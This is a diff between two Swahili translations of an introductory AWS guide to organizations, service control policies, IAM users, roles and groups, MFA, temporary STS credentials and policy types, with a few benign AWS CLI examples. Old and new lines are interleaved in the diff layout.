- **Akaunti za wanachama** zinaunda akaunti zote zilizobaki katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee.
|
||||
- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hazitakuwa na uwezo wa kusimamia bili (lakini zinaweza kupewa ufikiaji wa hiyo).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
@@ -40,40 +40,40 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
A **service control policy (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazitoi ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP na mzizi wa shirika lako au OU, **SCP inakandamiza ruhusa za viumbe katika akaunti za wanachama**.
|
||||
**Sera ya kudhibiti huduma (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazipati ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP kwa mzizi wa shirika lako au OU, **SCP inakadiria ruhusa kwa vitu katika akaunti za wanachama**.
|
||||
|
||||
Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya kitu. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\
|
||||
Njia pekee ya kupita hii ni kuathiri pia **akaunti ya mkuu** inayoweka mipangilio ya SCPs (akaunti ya mkuu haiwezi kuzuiwa).
|
||||
Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya jambo fulani. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\
|
||||
Njia pekee ya kupita hii ni kuathiri pia **akaunti ya mkuu** inayoweka SCPs (akaunti ya mkuu haiwezi kuzuiwa).
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba **SCPs zinakandamiza tu wakuu katika akaunti**, hivyo akaunti nyingine hazihusiki. Hii inamaanisha kuwa kuwa na SCP inayokataza `s3:GetObject` haitazuia watu **kupata mfuko wa S3 wa umma** katika akaunti yako.
|
||||
> Kumbuka kwamba **SCPs zinazuia tu wakuu katika akaunti**, hivyo akaunti nyingine hazihusiki. Hii inamaanisha kuwa kuwa na SCP inayokataa `s3:GetObject` haitazuia watu **kupata mfuko wa S3 wa umma** katika akaunti yako.
|
||||
|
||||
SCP mifano:
|
||||
Mifano ya SCP:
|
||||
|
||||
- Kataza akaunti ya mzizi kabisa
|
||||
- Kata akaunti ya mzizi kabisa
|
||||
- Ruhusu tu maeneo maalum
|
||||
- Ruhusu tu huduma zilizoorodheshwa
|
||||
- Kataza GuardDuty, CloudTrail, na S3 Public Block Access kutoka
|
||||
- Kata GuardDuty, CloudTrail, na S3 Public Block Access kutoka
|
||||
|
||||
kuondolewa
|
||||
|
||||
- Kataza majukumu ya usalama/mjibu wa tukio kuondolewa au
|
||||
- Kata majukumu ya usalama/mjibu wa tukio kutoka kuondolewa au
|
||||
|
||||
kubadilishwa.
|
||||
|
||||
- Kataza nakala za akiba kuondolewa.
|
||||
- Kataza kuunda watumiaji wa IAM na funguo za ufikiaji
|
||||
- Kata nakala za akiba kutoka kuondolewa.
|
||||
- Kata kuunda watumiaji wa IAM na funguo za ufikiaji
|
||||
|
||||
Pata **mifano ya JSON** katika [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** ni **jina la kipekee** kila rasilimali ndani ya AWS ina, imeundwa kama ifuatavyo:
|
||||
**Jina la Rasilimali la Amazon** ni **jina la kipekee** kila rasilimali ndani ya AWS ina, linaundwa kama ifuatavyo:
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
Kumbuka kwamba kuna sehemu 4 katika AWS lakini njia 3 tu za kuziita:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
@@ -85,14 +85,14 @@ Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
IAM ni huduma itakayokuruhusu kusimamia **Uthibitishaji**, **Idhini** na **Udhibiti wa Ufikiaji** ndani ya akaunti yako ya AWS.
|
||||
|
||||
- **Uthibitishaji** - Mchakato wa kufafanua utambulisho na uthibitisho wa utambulisho huo. Mchakato huu unaweza kugawanywa katika: Utambulisho na uthibitisho.
|
||||
- **Idhini** - Inabainisha ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa.
|
||||
- **Idhini** - Inabaini ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa.
|
||||
- **Udhibiti wa Ufikiaji** - Njia na mchakato wa jinsi ufikiaji unavyotolewa kwa rasilimali salama.
|
||||
|
||||
IAM inaweza kufafanuliwa kwa uwezo wake wa kusimamia, kudhibiti na kuongoza mitambo ya uthibitishaji, idhini na udhibiti wa ufikiaji wa utambulisho kwa rasilimali zako ndani ya akaunti yako ya AWS.
|
||||
|
||||
### [Mtumiaji wa mizizi ya akaunti ya AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Unapounda akaunti ya Amazon Web Services (AWS) kwa mara ya kwanza, unaanza na utambulisho mmoja wa kuingia ambao una **ufikiaji kamili kwa huduma zote** za AWS na rasilimali katika akaunti. Hii ni akaunti ya AWS _**mtumiaji wa mizizi**_ na inafikiwa kwa kuingia kwa kutumia **anwani ya barua pepe na nenosiri ulilotumia kuunda akaunti**.
|
||||
Unapounda akaunti ya Amazon Web Services (AWS) kwa mara ya kwanza, unaanza na utambulisho mmoja wa kuingia ambao una **ufikiaji kamili kwa huduma zote** za AWS na rasilimali katika akaunti. Huu ni mtumiaji wa _**mizizi ya akaunti ya AWS**_ na unafikiwa kwa kuingia kwa kutumia **anwani ya barua pepe na nenosiri ulilotumia kuunda akaunti**.
|
||||
|
||||
Kumbuka kwamba mtumiaji mpya wa **admin** atakuwa na **idhini ndogo kuliko mtumiaji wa mizizi**.
|
||||
|
||||
@@ -100,19 +100,19 @@ Kutoka kwa mtazamo wa usalama, inapendekezwa kuunda watumiaji wengine na kuepuka
|
||||
|
||||
### [Watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
Mtumiaji wa IAM ni kiumbe ambacho unaunda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na ithibati (nenosiri na funguo za ufikiaji hadi mbili).
|
||||
Mtumiaji wa IAM ni kiumbe unachounda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na hati (nenosiri na funguo za ufikiaji hadi mbili).
|
||||
|
||||
Unapounda mtumiaji wa IAM, unampa **idhini** kwa kumfanya kuwa **mwanachama wa kundi la watumiaji** ambalo lina sera za idhini zinazofaa (inapendekezwa), au kwa **kuambatanisha sera moja kwa moja** kwa mtumiaji.
|
||||
|
||||
Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Tokeni za API za watumiaji walioanzisha MFA hazilindwi na MFA. Ikiwa unataka **kudhibiti ufikiaji wa funguo za API za watumiaji kwa kutumia MFA** unahitaji kuashiria katika sera hiyo kwamba ili kutekeleza vitendo fulani MFA inahitaji kuwepo (mfano [**hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Tokeni za API za watumiaji walioanzisha MFA hazilindwi na MFA. Ikiwa unataka **kudhibiti ufikiaji wa funguo za API za watumiaji kwa kutumia MFA** unahitaji kuashiria katika sera kwamba ili kutekeleza vitendo fulani MFA inahitaji kuwepo (mfano [**hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **Kitambulisho cha Funguo za Ufikiaji**: 20 ya herufi kubwa za alphanumeric za nasibu kama AKHDNAPO86BSHKDIRYT
|
||||
- **Kitambulisho cha funguo za siri za ufikiaji**: 40 ya herufi kubwa na ndogo za nasibu: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Haiwezekani kurejesha vitambulisho vya funguo za siri vilivyopotea).
|
||||
- **Kitambulisho cha Funguo za Ufikiaji**: herufi 20 za bahati nasibu za alphanumeric kubwa kama AKHDNAPO86BSHKDIRYT
|
||||
- **Kitambulisho cha funguo za siri za ufikiaji**: herufi 40 za bahati nasibu za kubwa na ndogo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Haiwezekani kurejesha vitambulisho vya funguo za siri vilivyopotea).
|
||||
|
||||
Wakati wowote unahitaji **kubadilisha Funguo za Ufikiaji** huu ndio mchakato unapaswa kufuata:\
|
||||
&#xNAN;_Cunda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ya awali kama isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_
|
||||
&#xNAN;_Cunda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ile ya awali kuwa isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_
|
||||
|
||||
### MFA - Uthibitishaji wa Vigezo Vingi
|
||||
|
||||
@@ -122,42 +122,42 @@ Unaweza kutumia **programu ya bure ya virtual au kifaa halisi**. Unaweza kutumia
|
||||
Sera zenye masharti ya MFA zinaweza kuambatanishwa na yafuatayo:
|
||||
|
||||
- Mtumiaji wa IAM au kundi
|
||||
- Rasilimali kama vile ndoo ya Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS
|
||||
- Rasilimali kama vile bakuli la Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS
|
||||
- Sera ya kuaminika ya jukumu la IAM ambalo linaweza kuchukuliwa na mtumiaji
|
||||
|
||||
Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hiyo itakupa tokeni yenye taarifa kuhusu MFA.\
|
||||
Kumbuka kwamba **`AssumeRole` ithibati hazina taarifa hii**.
|
||||
Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hii itakupa tokeni yenye taarifa kuhusu MFA.\
|
||||
Kumbuka kwamba **`AssumeRole` hati za kuingia hazina taarifa hii**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
As [**imesemwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), kuna kesi nyingi tofauti ambapo **MFA haiwezi kutumika**.
|
||||
Kama [**ilivyosemwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), kuna kesi nyingi tofauti ambapo **MFA haiwezi kutumika**.
|
||||
|
||||
### [Makundi ya watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
Kundi la [mtumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ni njia ya **kuunganisha sera kwa watumiaji wengi** kwa wakati mmoja, ambayo inaweza kurahisisha usimamizi wa ruhusa za watumiaji hao. **Majukumu na makundi hayawezi kuwa sehemu ya kundi**.
|
||||
|
||||
Unaweza kuunganisha **sera inayotegemea utambulisho kwa kundi la mtumiaji** ili kwamba **watumiaji** wote katika kundi la mtumiaji **wapate ruhusa za sera**. **Huwezi** kutambua **kundi la mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu makundi yanahusiana na ruhusa, si uthibitishaji, na wakuu ni entiti za IAM zilizothibitishwa.
|
||||
Unaweza kuunganisha **sera inayotegemea utambulisho kwa kundi la mtumiaji** ili watumiaji wote katika kundi la mtumiaji **wapate ruhusa za sera**. Huwezi **kutambua kundi la mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu makundi yanahusiana na ruhusa, si uthibitishaji, na wakuu ni entiti za IAM zilizothibitishwa.
|
||||
|
||||
Hapa kuna sifa muhimu za makundi ya watumiaji:
|
||||
|
||||
- Kundi la mtumiaji **linaweza kuwa na watumiaji wengi**, na **mtumiaji** anaweza **kuwa sehemu ya makundi mengi**.
|
||||
- **Makundi ya watumiaji hayawezi kuingizwa**; yanaweza kuwa na watumiaji tu, si makundi mengine ya watumiaji.
|
||||
- **Makundi ya watumiaji hayawezi kuwekwa ndani**; yanaweza kuwa na watumiaji tu, si makundi mengine ya watumiaji.
|
||||
- Hakuna **kundi la mtumiaji la default ambalo linajumuisha watumiaji wote katika akaunti ya AWS**. Ikiwa unataka kuwa na kundi la mtumiaji kama hilo, lazima ulunde na kupewa kila mtumiaji mpya.
|
||||
- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama vile idadi ya makundi, na idadi ya makundi ambayo mtumiaji anaweza kuwa mwanachama, zimepangwa. Kwa maelezo zaidi, angalia [IAM na AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama vile idadi ya makundi, na idadi ya makundi ambayo mtumiaji anaweza kuwa mwanachama wake, zimepangwa. Kwa maelezo zaidi, angalia [IAM na AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
### [Majukumu ya IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotambulisha kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. **Mtumiaji wa IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayeingia kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM.
|
||||
**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotaja kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. **Mtumiaji wa IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayesaini kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM.
|
||||
|
||||
Jukumu la IAM linajumuisha **aina mbili za sera**: **sera ya kuamini**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na **sera ya ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini inaweza kufikiwa**.
|
||||
Jukumu la IAM linajumuisha **aina mbili za sera**: Sera ya **kuamini**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na sera ya **ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini inaweza kufikiwa**.
|
||||
|
||||
#### Huduma ya Usalama ya Tokeni ya AWS (STS)
|
||||
|
||||
Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa:
|
||||
Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda mfupi, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa:
|
||||
|
||||
### [Akreditif za muda katika IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
### [Akreditif za muda mfupi katika IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
**Akreditif za muda zinatumika hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali.
|
||||
**Akreditif za muda mfupi zinatumika hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda mfupi ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda mfupi ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali.
|
||||
|
||||
### Sera
|
||||
|
||||
@@ -166,10 +166,10 @@ Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **ut
|
||||
Zinatumiwa kupewa ruhusa. Kuna aina 2:
|
||||
|
||||
- Sera zinazodhibitiwa na AWS (zilizopangwa na AWS)
|
||||
- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako mwenyewe), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako mwenyewe.
|
||||
- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako.
|
||||
|
||||
Kwa **default ufikiaji** unakataliwa, ufikiaji utawekwa ikiwa jukumu maalum limeainishwa.\
|
||||
Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambazo zinaruhusiwa kwa default).
|
||||
Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambayo inaruhusiwa kwa default).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
@@ -192,33 +192,33 @@ Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akr
|
||||
]
|
||||
}
|
||||
```
|
||||
The [sehemu za kimataifa ambazo zinaweza kutumika kwa masharti katika huduma yoyote zimeandikwa hapa](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
[Sehemu maalum ambazo zinaweza kutumika kwa masharti kwa kila huduma zimeandikwa hapa](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
#### Sera za Ndani
|
||||
#### Inline Policies
|
||||
|
||||
Aina hii ya sera ni **zinazopewa moja kwa moja** kwa mtumiaji, kundi au jukumu. Hivyo, hazionekani katika orodha ya Sera kama wengine wanaweza kuzitumia.\
|
||||
Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moja kati ya sera na kitambulisho** ambacho kimewekwa. Kwa mfano, unataka kuwa na uhakika kwamba ruhusa katika sera hazitapewa kwa bahati mbaya kwa kitambulisho kingine isipokuwa kile ambacho zimekusudiwa. Unapokuwa unatumia sera ya ndani, ruhusa katika sera hiyo haziwezi kuunganishwa kwa bahati mbaya na kitambulisho kibaya. Zaidi ya hayo, unapokuwa unatumia AWS Management Console kufuta kitambulisho hicho, sera zilizoingizwa katika kitambulisho pia zitatolewa. Hiyo ni kwa sababu ni sehemu ya chombo kikuu.
|
||||
Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moja kati ya sera na kitambulisho** ambacho inatumika. Kwa mfano, unataka kuhakikisha kwamba ruhusa katika sera hazitolewi kwa bahati kwa kitambulisho kingine isipokuwa kile ambacho zimekusudiwa. Unapokuwa unatumia sera ya ndani, ruhusa katika sera haiwezi kuunganishwa kwa bahati na kitambulisho kibaya. Zaidi ya hayo, unapokuwa unatumia AWS Management Console kufuta kitambulisho hicho, sera zilizojumuishwa katika kitambulisho pia zitatolewa. Hiyo ni kwa sababu ni sehemu ya chombo cha msingi.
|
||||
|
||||
#### Sera za Rasilimali za Ndoo
|
||||
#### Resource Bucket Policies
|
||||
|
||||
Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Sio rasilimali zote za AWS zinazozipokea**.
|
||||
Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Si rasilimali zote za AWS zinazoziunga mkono**.
|
||||
|
||||
Ikiwa chombo hakina kukataa waziwazi juu yao, na sera ya rasilimali inawapa ufikiaji, basi wanaruhusiwa.
|
||||
|
||||
### Mipaka ya IAM
|
||||
### IAM Boundaries
|
||||
|
||||
Mipaka ya IAM inaweza kutumika **kudhibiti ruhusa ambazo mtumiaji au jukumu linapaswa kuwa na ufikiaji**. Kwa njia hii, hata kama seti tofauti za ruhusa zinatolewa kwa mtumiaji na **sera tofauti**, operesheni itashindwa ikiwa atajaribu kuzitumia.
|
||||
|
||||
Mpaka ni sera tu iliyoambatanishwa na mtumiaji ambayo **inaonyesha kiwango cha juu cha ruhusa ambacho mtumiaji au jukumu linaweza kuwa nacho**. Hivyo, **hata kama mtumiaji ana ufikiaji wa Msimamizi**, ikiwa mpaka inaonyesha anaweza kusoma tu ndoo za S·, hiyo ndiyo kiwango cha juu anachoweza kufanya.
|
||||
Pazia ni sera tu iliyounganishwa na mtumiaji ambayo **inaonyesha kiwango cha juu cha ruhusa ambacho mtumiaji au jukumu linaweza kuwa nacho**. Hivyo, **hata kama mtumiaji ana ufikiaji wa Msimamizi**, ikiwa pazia linaonyesha anaweza kusoma tu S· buckets, hiyo ndiyo kiwango cha juu anachoweza kufanya.
|
||||
|
||||
**Hii**, **SCPs** na **kufuata kanuni ya ruhusa ndogo** ndiyo njia za kudhibiti kwamba watumiaji hawana ruhusa zaidi ya zile anazohitaji.
|
||||
|
||||
### Sera za Kikao
|
||||
### Session Policies
|
||||
|
||||
Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **mpaka wa IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoonyeshwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina).
|
||||
Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **pazia la IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoonyeshwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina).
|
||||
|
||||
Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa anachukua jukumu lenye mamlaka makubwa anaweza kupunguza ruhusa kuwa zile tu zilizoonyeshwa katika sera ya kikao endapo kikao kitakumbwa na hatari.
|
||||
Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa anachukua jukumu lenye ruhusa nyingi, anaweza kuzuia ruhusa kuwa zile tu zilizoonyeshwa katika sera ya kikao endapo kikao kitakumbwa na hatari.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
@@ -226,18 +226,18 @@ aws sts assume-role \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Note that by default **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [roles za cognito zisizo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **akiba za kikao zenye sera ya kikao** ambayo inakadiria huduma ambazo kikao kinaweza kufikia [**katika orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Kumbuka kwamba kwa kawaida **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [majukumu yaliyodhaniwa ya cognito yasiyo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **vithibitisho vya kikao vyenye sera ya kikao** inayopunguza huduma ambazo kikao kinaweza kufikia [**kwenda kwenye orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Hivyo, ikiwa kwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**.
|
||||
Hivyo, ikiwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**.
|
||||
|
||||
### Ushirikiano wa Utambulisho
|
||||
|
||||
Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni nje** ya AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akiba za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\
|
||||
Mfano wa mtoa huduma wa utambulisho unaweza kuwa **Microsoft Active Directory** yako mwenyewe (kupitia **SAML**) au huduma za **OpenID** (kama **Google**). Ufikiaji wa ushirikiano utaweza kuruhusu watumiaji ndani yake kufikia AWS.
|
||||
Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni nje** ya AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akauti za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\
|
||||
Mfano wa mtoa huduma wa utambulisho unaweza kuwa **Microsoft Active Directory** yako mwenyewe (kupitia **SAML**) au huduma za **OpenID** (kama **Google**). Ufikiaji wa ushirikiano utaweza kuwapa watumiaji ndani yake ufikiaji wa AWS.
|
||||
|
||||
Ili kuunda uaminifu huu, **Mtoa Huduma wa Utambulisho wa IAM unaundwa (SAML au OAuth)** ambao utakuwa **na uaminifu** kwa **jukwaa lingine**. Kisha, angalau **jukumu moja linapewa (linaloaminika) kwa Mtoa Huduma wa Utambulisho**. Ikiwa mtumiaji kutoka kwenye jukwaa lililoaminika anafikia AWS, atakuwa akifikia kama jukumu lililotajwa.
|
||||
|
||||
Hata hivyo, kwa kawaida unataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa lile linaloruhusu watumiaji kuchukua jukumu moja au jingine.
|
||||
